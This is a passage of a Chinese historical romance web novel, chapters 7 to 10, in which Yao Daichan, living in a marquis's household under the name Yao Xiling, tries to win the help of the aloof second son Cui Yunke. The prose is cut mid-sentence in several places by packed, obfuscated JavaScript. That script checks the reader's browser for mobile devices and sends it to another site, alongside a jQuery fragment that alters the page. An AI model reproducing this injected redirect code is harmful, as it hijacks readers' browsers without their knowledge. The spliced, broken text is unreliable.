她顺势颔首：“云翘姑娘说得是。” 众人心照不宣绕开话题。聊及香粉时，一直娴静的月柔蓦地道：“倒记得夫人那位侄女，镇国公家的小姐，是用香的高手。她有一味香，兼具檀香花香，很是独特。” 姚黛蝉一顿，她怎么忘了？ 何氏昨日催婚崔云柯的对象就叫采莲。 原是她的娘家侄女。 姚黛蝉笑容扩大：“那定然是非一般的好香了。也不知能否有机会闻上一闻。” “娘子不必担心这个。” 云翘笑得花枝乱颤，“侄小姐年年都来府中陪伴夫人小住。往常是五月后来，今年么……” 她与月柔会心捂唇，“二爷归家，侄小姐约莫这两日也就到了。” 语毕都暗笑，姚黛蝉也应景一哂。 揽芳阁众人赶在午膳前拜别。芬儿出去寻交好的丫鬟玩耍，礼香苑没了人，姚黛蝉终于能静下心来继续思索。 上至主子下至仆役，整个侯府都对崔云柯讳莫如深，姚黛蝉打听不出他的喜好去向…… 正苦无头绪时，她鼻尖轻嗅，院中未散尽的脂粉香，似乎指使着另一条路——她信步而出。拐角处，正见一方凉亭，四通八达，人流如织。 仆役们一如殷勤的蚂蚁，孜孜不倦地将侯府发生的一切有序地运向各处。 姚黛蝉眸光微凝。 身份有别，处境不同，她不能主动去寻他。 但，可以让他注意到自己。 她定定看着凉亭，蓦而弯眸，整衣坐了下去。 四面八方的目光，霎时集中到了她身上。 …… “娘子好！” “花儿姐？多谢你的桂子羹。” “你是招子？我当然记得，是你上回帮我赶走蜜蜂。” 与路上的仆役们笑着打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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崔禄一见却皱眉：“侯爷的？” 崔禄略慎重地拆了信，上下扫一眼，“呸！” 却很快正色，对湘儿点头，“你睡去吧。” 湘儿立即去了，崔禄捏着信纸，门前徘徊了会儿，里头水声一停，“福寿，拿巾子来。” “诶！”崔禄忙开门。 崔云柯一身澡豆香，接了巾子擦拭湿透的黑发，问道：“可回绝张和廷了。” 崔禄立即正色：“自然，我道爷休沐，概不见客！让他等去！” 崔云柯嗯一声。 先前邀月楼赴宴，张和廷恩威并施，数次以老臣身份压人，不惜抬上十箱黄金笼络。崔云柯无谓这些物什，自然不在乎。把酒相谈后，该撸的帽子照撸不误。 翌日朝会，隆景帝坚持尊生父兴献王为皇考，贬了护礼派先锋杨倧，被砍下一员臂膀的张和廷面黑如锅底。隆景帝避之不见，便当即又向崔云柯下请帖。昨日他故技重施，被崔云柯提前躲开。这回还想纠缠，委实有些不把他这个少詹事放在眼里了。 潜邸故友，天子心腹，单这两点，张和廷的面子便不配他一直买账。 他拢衣，揉动鼻根，“正可休憩。” 崔禄颇为赞同，“铁打的人也不禁这么用。爷大半年都没个清闲，确实得好生休息休息。” 说着，崔禄突然欲言又止，崔云柯瞥他眼：“说。” 崔禄长叹:“傍晚侯爷来了家书，问了大爷可回府，又问了您境况。” 他深感晦气:“侯爷的意思，世子之位安生归大爷算了，他另拿私库补偿您。” 语毕啐一声，老侯爷的遗言也算喂了狗！ 区区世子之位，他家二爷从就没正眼看过。若真想要，三年前就叫大爷上西天了，还会等到现在！ 崔云柯正执笔，闻言头也不抬：“烧了。” “诶”，崔禄才笑，火舌舔舐间，思及湘儿所禀，便微妙道：“如爷所料，上钩了。” “那姚小姐已连着三日在凉亭长坐。晚上…” “又在咱们院前过了一趟。” 7. 第 7 章 崔云柯一连三日不曾回府，不是泡在府衙，就是浸在宫中。 礼香苑里的存在，他其实已记不大分明。经崔禄一提，眼前才掠过一张脸。 看似低眉顺目，实则牙尖胆大，眉宇间流转的尽是戒备。 崔云柯笔尖一顿，“如何。” 崔禄立刻转述湘儿所见，末了意味深长：“时间太紧，姚小姐走投无路。不过，着实有几分聪慧在。” 底细尚未完全到手，不过那老妈子受了几回刑，也快要坚持不住了。照她的意思，此女与姚家关系匪浅。崔禄便还称一声“姚小姐”，但语意中并无多少尊重。 毕竟，再如何名义上她也是未来大夫人，崔云柯的嫂子。崔禄拿不准这女子到底知不知道自己身份已暴露，不过为了接近二爷，这般将自己坦给众人当猴儿看，未免太丢了身为主子的脸面。 是而，少女的行径他口中一说，显出一股困兽似的急躁。 崔云柯抬手拨了拨灯芯，“小聪明。” 崔禄失笑：“爷说的对，若是真聪慧，就该一开始和盘托出，何至入侯府掺和。” 崔云柯不置可否，指腹在文卷棱角上极轻地一按。 这是要办公了，崔禄立时收敛笑意，恭恭敬敬带上门，“爷还得仔细身子。” 青年下颌只敷衍一点，目光又落回铺开的卷宗上。 崔禄叹着气出去了。 再度合卷时，月挂梢头。烛芯哔剥，砚内墨迹俱已干透。 崔云柯执杯，披件素缎中衣立在廊下，亲笔信在他脚下彻底碾作灰飞。月影婆娑，照出深潭般的一双眼。酒水淅沥洒半圈，夜色一卷，吹来江上腥风，思绪牵出朝政之外。 边疆大营，侯府上下，都要他让步。 然，打一开始便是他让着崔云筏。 在德安五年，是他将白莲教制衡地不成气候，剿地南舵主到处逃窜。也是他看在祖父面子，掩下崔云筏效力前太子之事，维持了那句“兄友弟恭，方能家和”的遗言。 乱党为何自相残杀，崔云柯并不屑深究。同样的，三年前，在他安然表示自己从未在意过世子之位时，崔云筏为何暴怒不已。崔云柯亦不屑知道。 他感到乏味的不解。 今日局面是崔云筏自己筑就。 此刻抽空将他追思，不过可惜罢了。 可惜，未在当年就杀了他。 让他麻烦自己许久，这一趟，还另折了三个人手。 思绪戛然而止，崔云柯淡淡乜过西边院落模糊的轮廓。只一眼，拾阶而上。 一晃天明。 礼香苑，姚黛蝉彻夜无眠。 怎么办好？ 辗转反侧，睡意就是全无。她拼尽脑筋想法子，一只羊一只羊地数着催眠，数到熹光投入绢窗打上眼睑，房外突然想起芬儿欢欣的叫声，打断了焦躁。 “娘子，今日先放了规矩，夫人让您去问安！” “什么？”姚黛蝉楞。 芬儿的影子在绢窗上跳动：“夫人的侄女，镇国公府的大小姐来了！” 怕被骂，芬儿嘘声：“您不知道，今日休沐，二爷也在！” 崔云柯居然回来了？！ 他一回，家中便立时来了女客。还是主母的侄女？ 姚黛蝉眼中倏然一亮，飞快起身换衣：“我就来！” “娘子好！” “张嫂子。”和路遇的仆役们一一打过招呼，姚黛蝉忍着心中澎湃，款步穿过小径。 主院不断有人进出，时而爆出欢笑。 姚黛蝉临至门前时，正听见里头毫不避讳的“二表哥”，“大表哥”，“婚事”之类的字眼。 便立即确定了猜测。 她强捺住心中涛浪，等里头人声差不多时，轻声道了句，“夫人。” 笑声戛然而止。静了一息，才传来何氏不耐的声音：“进吧。” 姚黛蝉硬着头皮入内，鼻子先是一皱。 今日的香比以前更盛，格外甜腻之余，还兼有突兀的檀香。 榻上一个少女正目不转睛盯她，姚黛蝉注意到她袖角拢着的银掐丝香盒，这便是月柔说的调香高手，镇国公府大小姐何采莲了。 何氏撂了手里如意，没好气斜眼她，“怎么这时才来？” 姚黛蝉赧然：“已在门外候了片刻，怕误了夫人的兴致，不敢出声。” 何采莲噗嗤笑了。 “这便是姚家姐姐？”她仪态万千起身，“果真好相貌，难怪姑姑特意为大表哥聘来。我是采莲，姐姐唤我名字便是。” “采莲小姐。”姚黛蝉微笑回礼。 “姐姐是从园子来的？”何采莲蓦然发问，“这晨露最是寒凉，姐姐可得仔细身子，莫像我一沾湿气便起疹子。” 姚黛蝉才发现裙裾的湿濡。近路上不少花草，定是沾染到了。她有心解释，何氏蹙眉打量她：“你一早去园子里做什么？” 何采莲笑吟吟挽住何氏：“姑姑，姐姐初来，定是觉得府中景致新奇。我小时不也成日闹着住园子？” 何氏被勾得又是大笑，“罢了罢了，惜翎，看看采莲的步态，好生学学。” 何采莲身份在此，自是贵女风范，可她们又哪里是真的要她学，不过是寻个由头奚落。 何氏转过头与何采莲道：“前头不曾与你说，这府里啊，人人都有心思。有心思不算事，但表现的太勤，哼。” 姚黛蝉嘴一抿，何氏这是觉得她收买人心，警告她呢。 不过，姚黛蝉也不在乎这个，只顺从地站一边：“是。” 里头说了会儿话，何采莲便道要看看府中菡萏生长得如何，出了主院。 客人走了，姚黛蝉自然也只再待了一会，被何氏挥退。 日头正盛，将亭台楼阁的影儿压得短短的。姚黛蝉堪堪脱身，莫名有拨云见日之感慨。 她没立刻回去，慢慢转了圈才折回礼香苑。换了双更轻便的鞋，姚黛蝉站在院子里，往东边那竹林婆娑的院子一望。 晨雾早散干净了。 “表哥！” 一听这声，一只脚才踏出院门的崔禄脸一揪，反手将门拍上。 何采莲恼怒一拍门：“福寿！是我！” 这遭瘟的狗皮膏药！ 福寿心里狂唾不止，这何小姐是千万不能放进来的，他可记得她的烦人！ 恰好爷这会儿子还在穿衣，崔禄背往门上一抵，对闻声赶出的湘儿比个嘘的手势，示意他别理。 湘儿连忙点头，继续洗衣裳。 “福寿，你皮痒了！”外头何采莲越拍越得劲，声儿渐渐委屈，“二表哥，这五年我寄的信不知你可收到了没有？想你在德安清苦，我一直记挂着。今日你好不容易正是回了京，我特来看看你。” 何采莲这一趟，抱着的是必见崔云柯才罢休的意思。这般闹腾，崔云柯在正房自然不可能充耳不闻。 今日休沐，不当是被闲杂人等叨扰的。然何采莲麻烦，确要趁此一劳永逸。 他看眼讪讪的崔禄，示意开门。 崔禄唉声叹气照做了，门一开，果然就见何采莲那张脸，“福寿！” “哟何小姐，可真对不住，咱最近眼睛不好，将您看错了！府上近来躁动，您别怪我！”崔禄笑嘻嘻一拱手，飞也似的蹿走。 何采莲哪儿听不出他话里的影射，若是平时定要打嘴。可这是在二表哥的地盘，何采莲忍住，在见到那道渐行来的颀长身影后立时端正了容色，憧憬地唤了声二表哥。 崔云柯一身道服，网巾束发，负手而立。风一鼓，飘飘欲仙，再寻常不过的衣裳，被他穿出不似凡人的风采。 凤眸飞斜间，万物如尘土。比记忆里的还要出挑脱俗。 何采莲看得发怔，被崔云柯面无表情的一声“何小姐”提醒，满心欢喜被冰水当头浇个透，才卒而反应过来自己的失态。 他态度之疏冷，比以往更甚。 却不容她难过，崔云柯已出了门，淡道：“若无事，崔某先行一步。” 何采莲忙追上去：“有！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何采莲怔住，“表哥？你，便…一点都不觉得有什么？” “琴瑟在御，莫不静好。”崔云柯眉尾微扬，“此事宜乎小姐。与崔某何干？” 何采莲的脸“唰”地白了。 她摇摇欲坠，却还鼓起最后的勇气，试图唤起情谊：“我一直记着，自小表哥一见我便远远站着替我望风，几次我摔进水中，都亏表哥及时唤人……” 少女诚挚地道来往事，任谁听了都该心生怜惜。崔云柯似乎也不例外，这次终于肯正眼瞧她。何采莲眼中骤然绽开一点微光。 却见他淡粉的薄唇平平一动： “何小姐身上——”他顿了一下，清晰地补全： “太香。” 何采莲彻底愣在原地，面上血色褪尽，又猛地涌上羞愤的潮红。她想说什么，说这是她根据他的喜好精心调配的，可她只张了张嘴，终究只屈辱道：“表哥——表哥好狠的心肠！” 她猛吸一口气才勉强站稳：“原是我自以为是！” 她连身也未福就决然奔走。身影消失在月洞门的刹那，被弃于塘畔的苔石“咯”地一声，一角筐身塌陷，几块覆满绿绒的苔石滚出，砸地青砖闷响。 姚黛蝉柳眉颦起，这个人对谁都如此不近人情么？ 沉思间，崔云柯长腿一迈，姚黛蝉惊觉他要走，心一横，连忙箭步冲出，抬手往他脚后掷去一方帕子—— “二爷留步！” 崔云柯眉心拢了拢，本想无视那步声。不妨来人突然呼唤，左脚还未踏定，又听背后传来一声急促的尖叫，他蹙眉，微微一转——“唔！” 少女水红色的身子柔弱无骨地扑进他怀里。伴一声痛哼，洁白双手将他袖口大力一拽，胸膛陡然抵来异样的温软。 崔云柯素来静如止水的脸上，破天荒僵冷一片。 8. 第 8 章 少女猝不及防扑来时，衣上的皂荚清香刹那挤开刺鼻甜气。崔云柯未料到她竟敢逾矩至此，一时反应不及，当真让她撞个满怀。衣襟上遽然传来一点湿热，崔云柯错愕了瞬，眉头重重一拧，抬手便要将人扯开。 却落个空，姚黛蝉竟先他一步，踉跄着松开大袖，姿势古怪地站直身体。 崔云柯一顿，右手复又隐入袖中，面无表情后撤半尺。 脚踝的肿痛混着胸前旧疾的闷痛，两股疼意绞在一起，姚黛蝉指尖死死抠进掌心才没狼狈跪倒。眼前一阵阵金星闪烁，待痛感褪去几分，才后知后觉抬眸，撞进那双令人本能畏怯的瞳仁里。 霜面之上，一抹极细的厌恶横劈而下。却也不过半个呼吸的时间，很快复于平整。 姚黛蝉瞬间惊醒，连尴尬都顾不上，她看看那方被崔云柯踩在脚下的帕子，又看看四遭让自己不慎中招的绿苔石，脸上火辣辣地疼。 “二爷，我…我并非…” 姚黛蝉咽一口津液，鼓鼓勇气，解释道：“那帕子是母亲为我绣的，自小相伴到大，意义非常。刚头正晾在院子里，一个不慎被风吹来此处，我追过来寻，不想被苔石绊了脚…是才，险些冒犯二爷。” 她并未完全说假话。 连日学规矩，脚踝附近总是肿胀，红花油抹了一壶也不抵用。否则还不至于一踩苔石就飞出去。 且……身前更是难以启齿，虽只是撞了崔云柯一下，但男人的胸膛硬地出奇，新旧疾叠一块，逼得她忘了规矩礼数，慌不择路伸手求生。以至于丢尽了脸面，还未谈判就落尽下风。 早知无用功，连换鞋的时候也省了。 崔云柯睥视姚黛蝉红粉交错的面须臾，转而扫过她遮掩在裙裾下的脚踝，回移，点在他靴下那方夏蝉花样的帕子上。 他浓实鸦睫一掀，“何不唤下人。” 语气听不出喜怒，也不如初见时的咄咄。仿佛只是自然发问。 终于等到他开腔，即便拿不准此人态度，姚黛蝉也立即休整面色，抓住机会道: “珍重之物，怎能让他人去寻。且夫人派给我的丫鬟到底年岁小，我也不放心……本是想求二爷帮我拾一拾，勿要被吹进塘中。不想正好被二爷踩住，倒显得我唐突了。” 她悄摸将他一望，见崔云柯还是那副巍然不动，似乎全然不知她目的的模样，暗暗咬牙，索性将来意揭开一角： “我也是最近听府中的消息，才知道那夜珩字号大船上的江匪非一般恶劣，以至于二爷不得已通宵达旦。我猜测，随身妈妈当日替我挡刀后便不见了，想就是遭了他们的毒手。”她特意点出张妈妈，崔云柯必然能明白话后深意。 姚黛蝉细细思量过，听说崔云柯本就是靠剿匪升的官，盯格外关注匪贼动作，知晓他们的去向不算难事。且他与兄长不睦，八成也会暗暗盯视何氏的举动，提前知道她就在船上。后这些江匪在临近京城时作乱，是挑衅，崔云柯绝不会忍。便用替兄迎接她做借口，好光明正大截码头罢了。 只是，截到的恐怕只有一个她，并非他真正想要的。 观崔云柯眉心微动，姚黛蝉心觉果然，紧接着道： “我藏在衣柜中侥幸逃过一劫，翌日正巧捡到一张陌生路引。我再三思忖，害怕遭了报复，便不敢用自己的原本路引，也不敢在见到二爷时实言相告。” “府中几日，惜翎见过二爷的宽宏，也领会了二爷的意思，才定下决心和盘托出。不知二爷可能看在惜翎及时改正的份上，放我一马？”最后一句，放得又轻又缓，小心翼翼至极。姚黛蝉一双水色不减的杏眸也紧张地瞪圆。 崔云柯睇着她的凤眼，终于有所反应地微阖一瞬，“崔某并不知，与姚小姐何时何地授何意？” 姚黛蝉一讶，双手不由攥紧：“二爷是在戏弄惜翎？” 崔云柯略顿，击玉似的声线浅浅一扬：“姚小姐在说什么。” 姚黛蝉楞了楞，立即明白他是故意抵赖不认，不由气愤道，“若非二爷步步相逼，我焉敢冒身份之大不韪来寻？二爷想要的我已据实相告，请二爷给个准话！” 空气中陷入死寂。 姚黛蝉红唇紧抿，积攒多日的惊惧愤懑在这一刻临近喷发，眼儿里冒着连自己都不曾发觉的火星子。 崔云柯袖下的手悠悠一握，语气微沉： “路引，是姚小姐的？” 柳芸儿的路引？姚黛蝉怔，不明他为何避之不答张妈妈，反将已坦白的事单拣出来问一遍。 不过他既未如对何采莲时那般惜字如金，姚黛蝉收敛了神色，两侧垂髻随脑袋一齐轻轻摇动，软声：“不是。” 不知是不是错觉，话音方落，崔云柯眸色陡然冷锐几分。 看他忽又不语，姚黛蝉柳眉一聚，“二爷还有什么想问的，尽可以问。” 崔云柯道：“你姓姚。” 姚黛蝉不明所以，却不假思索：“是。” 虽厌恨姚锵，但她确还姓姚无疑。 再一阵沉默，姚黛蝉忍不得了。她总觉得附近有人声，为保险起见，姚黛蝉大着胆子近一步。 “我虽入侯府，实际却从无什么争抢之意。若可以，我完全可不要这桩婚事，哪怕被退婚回苏州也无妨，这里的一切我定会守口如瓶。世人的阴私大同小异，左不过权钱当先。二爷是贵重出身，必然明白莳花弄草，绣帕品茶，远比高墙里斗心眼舒坦得多。” 姚黛蝉深深呼气： “我只不过是个无意闯入的外人。二爷继续拿我当一棵草、一朵花，或一只小虫看就成。大爷是嫡长子不假，我嫁他是鸡犬升天的高攀。可我也不是瞎眼聋耳的，当然晓得二爷这般才俊才是侯府里的天，若二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058063|194916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷能放我回去……” 少女字字重音，泪在眼周摇摇欲坠：“二爷的世子之位，我亦愿出全部力气。” 姚黛蝉想过最坏的结果。若实在不能完好身退，大不了毁了容，成婚那日吓崔云筏一大跳，被休弃也成。又或寻法子染上疫病，传给崔云筏。 横竖她现在叫姚惜翎，姚家的死活，她也不关心。 这番动情的演绎，是她在姚家时都不曾显露过的。姚黛蝉下意识咬唇，若崔云柯这铁石心肠的还是不同意，该怎么办？ 总不至于要和她一个要什么没什么的小女子较劲吧？ 若是那样，算什么谪仙君子？ 想到这些，她挂泪的芳毫真情实意地凄楚一抖，我见犹怜的泪珠打在衣摆上，泅两点惹目的朱红。 然崔云柯官场沉浮五年，见惯各色手段，女子的泪实在不能算什么让人动容的武器。 “姚小姐误会，崔某无意爵位。” 姚黛蝉才不信，水泽氤氲的眼打个转：“那二爷……” 崔云柯却话锋一转，毫不留情背过身去：“为时尚早，姚小姐还是安生待在侯府地好。” 早？ 这话太过模糊不清。 是她坦白地早，还是婚期早，又或是他觉得现在抢世子之位太早？ 得不到确凿回话，如何对得起这几天的胆战心惊，姚黛蝉不死心地再要追问，“福寿哥！”后头小径上竟又传来女子的通传声：“福寿哥可在？老夫人遣我来请二爷说话！” 远远的，竟真传了崔禄的应声:“谁唤我？” 姚黛蝉一惊，崔禄居然守在附近！她深深看眼崔云柯，沉声:“二爷，回见。” 便忍着脚踝的痛，飞速跑向假山后。待那女声靠近，惊喜又拘谨地唤了声“二爷，”姚黛蝉捂住狂跳的心，叹了句好险。 来的老夫人身边的大丫鬟润香：“二爷，老夫人想您一回府就诸般辛苦，心里难受得紧。又听说……镇国公家的小姐来了，便请您来咱们福绵堂吃顿饭。” 润香指着地上零散的翠绿苔石道：“这些苔石碍脚得紧！看那颗靠近塘边的，想必已经叫人踩过，不知伤到了没有，我这便叫小子来清了去。” 崔云柯视线擦过那块扁了毛的卵石，嗯了声。 人声愈发稀薄，姚黛蝉怦怦狂跳的心渐渐回归正常。 约是做贼心虚，她只往外一看，提裙就跑。 她跑得太仓促狼狈，并未感知，一道似有若无的目光沉沉眄了她背影一眼。 “爷？”崔禄倏地轻声。 崔云柯几不可查敛眸，“去福绵堂。” 灿阳劈在他身上，半身暗，半身亮。途经园中梭梭飞颤的草木下，影子卒而扭曲，起伏不定。不似人型模样。 再度步入整片天幕时，又复于以往的从容雅致。 9. 第 9 章 福绵堂，未见人先闻声。 老夫人年逾古稀，走路还稳当。崔云柯扶她坐下，斟茶半盏，瓷罐中舀半勺蜜添入。 老夫人一生刚烈，茶也只喝最苦的，近年才渐渐习惯加蜜。 “人老了，没用了。”老夫人感慨，“好不容易来了，多陪我说说话。” 崔云柯笑笑，“何敢怠慢祖母。” 上回匆忙回府，崔云柯只顾将雪莲山参等东西送到，凳子没坐热就走了人，老夫人一直心有不满。 闻得今日休沐，一早就等着孙儿来拜会，偏又叫何家的丫头拦路。老夫人便差润香去解围，倒是及时。 祖孙二人吃茶谈天，润香崔禄一旁时不时插嘴逗乐，福绵堂里温馨得很。 然日头刚斜，崔禄背在身后的食指悄摸打起拍子来。 一打打到十，老夫人话头果然一调： “你回来前我去过青云观，正见了你娘。她不是不关照你，只是远离尘俗久了，不大能理这些东西。我便知会她一声，做主给你选了个四个通房。” 薛夫人性情泊然，从不关注此事。故而，老夫人不过是自作主张。 崔云柯焉不知祖母作风，怫然蹙额。 润香却已拍手，“都来见过二爷。” 堂中立时踱进四个精心打扮的美人，含羞带怯唤了声。清脆的嗓儿听得老夫人直满意，道了声“不错”。 “都是这半年来精挑细选的良家姑娘，顶齐整。你也是要吃饭喝水的，不能真当个谪仙。”见崔云柯不动，老夫人不由催促：“持玉。” 几道灼热视线一齐射来，崔云柯指骨一屈，淡道：“不用。” 老夫人不赞同：“你看都不看一眼就定了论？我老婆子的人就这般上不了台面？” 崔禄赶忙打岔：“老夫人，咱家二爷自小就喜清净，您这一送就是四个，爷不得被叨扰死了！” 老夫人嗔他眼，“你这小东西，倒替你家爷做起主了。玉磬院那规格，一人住一间，扰到哪里去？”说着一瞅崔云柯。 崔云柯轻叹：“朝中繁杂，暂无心此事。还是延后再说。” “又拿公务搪塞我！”老夫人不死心： “你同祖母说说，你喜欢什么样的？若拿不准就看看揽芳阁。你大哥是会享受的，环肥燕瘦一个不缺。” 祖母语不惊人死不休。万幸崔云柯习惯了，只无言了片刻便道:“兄长的人，岂能容他人窥探。祖母莫要拿孙儿打趣了。” 老夫人佯怒，“罢，我死前怕也见不到重孙！同你祖父谁也不占便宜！” 此话便有些严重了，润香忙道：“老太太这是说什么呢！礼香苑的娘子不好端端在那里么？等大爷回来一成婚，您心心念念的长孙明年不就呱呱落地了?没两年，二爷的孩儿也出来了。您说是不是，二爷？”润香殷切地看来。 崔禄眼儿一鼓，心道这是哪壶不开提哪壶。 爷正不想听礼香苑那位呢！ 方才拂月塘沉沉一眄，二爷的不悦他全看在眼里。一路上心有戚戚不敢吱声。 也是他大意，躲在垂花门后本是想防何采莲，孰料何采莲是跑了，可堂堂大嫂往小叔怀里扑…还不如换何采莲呢！ 崔禄忐忑偷瞟崔云柯反应——二爷眸光凝着于一处，指尖有一搭没一搭点动。 显然有些不耐。 他噤声，老老实实没接话。 老太太同润香一唱一和了阵，就是等不到次孙张口，便也不装了，语重心长道： “你和你大哥都是我的孙儿，我都爱，从不偏心哪个。持玉，你是知道的。” 崔云柯：“是。” 老太太喟叹：“你祖父从来都赞许你，可礼法在前，你嫡母和镇国公府都闹，这也没办法。你祖父去前盼的是什么，你不曾忘记，可对？” 兄友弟恭，家和兴旺。 “孙儿不敢忘。” “记得就好。如今，你们都是成家立业的人了，再有恩怨，也先看在振兴侯府的份上稍稍。我老了，小辈的事管不得什么，我心里知道。”老夫人慈爱地拍拍孙儿肩头，“都长得比你们祖父还要高了。” 老夫人一高兴，话也多，“何氏和她那侄女都是小心眼的。你这准嫂嫂倒和我盼望的差不离，才几日，和善亲切的好名声都传到我这里来了。不枉我还念着两家旧情，传信给你爹。” 崔云柯略意外：“是祖母定的人？” 老夫人得意：“我虽老，眼力却不差。侯府当年姬妾不宁，多亏了那位姚家续弦护住你祖父，才将整个家撑到如今。再看几日，她若也是会经营的，与你大哥将来定也能和和美美。届时多养几个孩子，往后和你的儿孙一齐传下侯府，我死也瞑目。” “你见过了她了没有？听说生得比传言里好得多？” 被老夫人如此追问，崔云柯眼前不可避免跃出双水泽盈润的杏眸，翘长芳毫盈盈一眨，滴在衣襟上的泪仿佛还正湿热。异样的温软，似也犹存。 他眉头骤然聚拢，不自觉有几分冷意:“……尚可。” “那就是很不错了，改日我也见见。”老夫人心情舒爽，“这四个美人当真一个都不要？” “还是给兄长罢。” “你这孩子！”老夫人摇摇头，“开饭！” 菜肴都是时令的上等食材，闻着就令人食指大动。然今日崔云柯胃口缺缺，老夫人几番添菜都不曾用下。 老夫人正奇怪，外头小丫鬟传话： “老夫人，礼香苑的娘子脚痛得厉害，芬儿说红花油不抵用，怕伤了骨头，求咱们赏些好的！” 老夫人顿时一放筷子，“青翡这老东西！仗着有何氏撑腰无法无天了！将我库里的药送去！” 润香为难:“咱库里的药才给了赶车的马四儿，还没续上呢。” “这，”老夫人沉吟须臾，也一时半刻寻不到法子。看了一圈儿，只有那目不斜视的次孙有这个本事。然他未主动发话，老夫人也有些拿不准：“持玉？” 崔云柯慢斯条理放了碗，拭了手，才道： “孙儿有一味金疮药。” 老夫人微讶，复又笑，“我不问，你还不肯说了。又不是讨来私藏的，是给你准大嫂用。你年岁越大，还越发小气了。” “……自不是心疼一瓶药。我若直言，怕于礼不合。祖母送，既全了礼数，也免了闲话，主院亦说不得什么。更保侯府名声。” 他这般一分说，老夫人深以为然:“还是持玉周到。” “你大哥回来见未婚妻被照料得这般好，定要感激你。” 崔云柯唇角淡淡牵了牵，长睫覆下，“祖母不妨再派个可靠的去盯着。” 府里的老滑头惯会抽油水，何氏明摆着不喜礼香苑，自然有青翡这等人上行下效耍手段。老夫人也思量过此事，孙儿一开口，便直接吩咐了下去。又叫润香传话： “府中筹办婚仪日益繁忙，有些事不提确也顾不上。叫她宽宽心安心待嫁。过两天脚好些，到我这走一趟。” 解决这插曲，老夫人笑起来，“你爹也是。四年了，光会写信。他说尽快到，这尽快尽快，到底是多快？还有你大哥，这一趟到底做什么去了？知道自己要有媳妇儿了，还不赶紧回来，这可不像他。” 老夫人老了，想起府中十几年没有过喜事，眉眼就禁不住弯起，又催着崔云柯多吃两口菜。 崔云柯慢慢呷茶，良久，极平静道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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芬儿与一十四五的陌生丫鬟跟在润香后头。润香对姚黛蝉福身，利索将老夫人的话传达。 姚黛蝉一愣，见芬儿对她使眼色。瞬时就想起她的背景，很快反应过来，连连感谢老妇人和润香。 “娘子安心养伤就是，若有缺漏，遣人来福绵堂说一声便可。您马上是侯府长媳，不必事事忍让。”润香制止她起身，又宽慰一番，点了绛儿的名便离开了。 绛儿应声上前。她生一张十分大众的方圆脸，但举止持重，看着便是可靠之人。 姚黛蝉对她笑说了声谢，绛儿细致观察了遍右足上的肿包，上了药，对姚黛蝉道：“幸未伤及骨头，娘子这五六日内不可跑跳。” 脚踝原本只是肿罢了，这包块还得多谢何采莲的苔石，姚黛蝉刚迈入礼香苑的门槛，忽然摔了一跤，才发现多了块拳头大包，吓得芬儿慌忙出门求救，招来了老夫人。主院，必然要不满了。 姚黛蝉点点头。丫鬟们退下，留她休息。然门一阖，她一张面孔顷时转沉。 今日冒险无疑是失败了。 姚黛蝉不怕做棋子，却怕不明不白做了棋子。 崔云柯不直面回答，起先寄放在他身上的所有计划便等同作废。 单靠自己出不去…有谁可用？ 大人物们她不抱期望。府中最希望她走的…姚黛蝉只能想到揽芳阁。 可揽芳阁的姬妾不过是一群锁了脚的金丝雀。 姚黛蝉面上青一阵白一阵，难道真要被困在这儿了？ 气急之下，胸前倏而又是一痛。 姚黛蝉咬牙抚了抚，撞上崔云柯便没有好事！ 她未出阁，又不是侯府里的真主子，此类隐疾怎能对侯府启齿，少不得被私下嚼舌根。 只能找女医。 女医…… 女医？ 姚黛蝉蓦地坐直身体，“芬儿，绛儿！” “我…有事要麻烦你们。” 10. 第 10 章 日头刚落，主院就摔了碗筷。 “她和她的好孙儿，仗着我的骄儿不在，前头才气哭了采莲，后头就来膈应我！姚惜翎也是个有心思的，绕开我去问老太太，真当我这主母是摆设？” 素灵忙劝：“夫人莫气。青翡下手重，姚娘子定以为是您的意思，哪敢来递话。不如添个丫鬟去礼香苑盯着？有人在边上看着，不至于分不清孰是孰非。” “胡闹！”何氏想也不想否决。 老太太打了半辈子仗，也就这十来年才格外和蔼。何氏刚进门时，她与老侯爷大马金刀各坐一头，何氏心中一直怵她。这么干，岂不是故意去顶撞。 “罢，送些东西宽慰宽慰。那青翡，我只叫她好好教导，弄得人站不起身是个什么事？往后她不必去了！” 素灵应下，将求女医一事如实禀报。 “她才进府几日，怎就这么多的事？”到底不是自己挑的儿媳，何氏越看越不称意。 素心道：“女子的病症还是要好好调理。若是严重了，大爷岂不是娶了个不能用的在身边。” 一语中的，何氏神色凝重：“……哪里上宫中给她请女医去！市坊里寻个医婆罢，瞒严实了，莫叫人知道。” 又冷哼：“我还听说，揽芳阁的妖精近日动辄骂下人？一并去处理了，别落个苛待仆役的口角。” 素灵领命而去。 当晚，揽芳阁抱夏痛哭一场，脸上肿得老高。 姚黛蝉伸着腿，神色凝重。何氏这是碍着理不好动她，拿旁人泻火呢。 在她手下讨生活，当真不易。 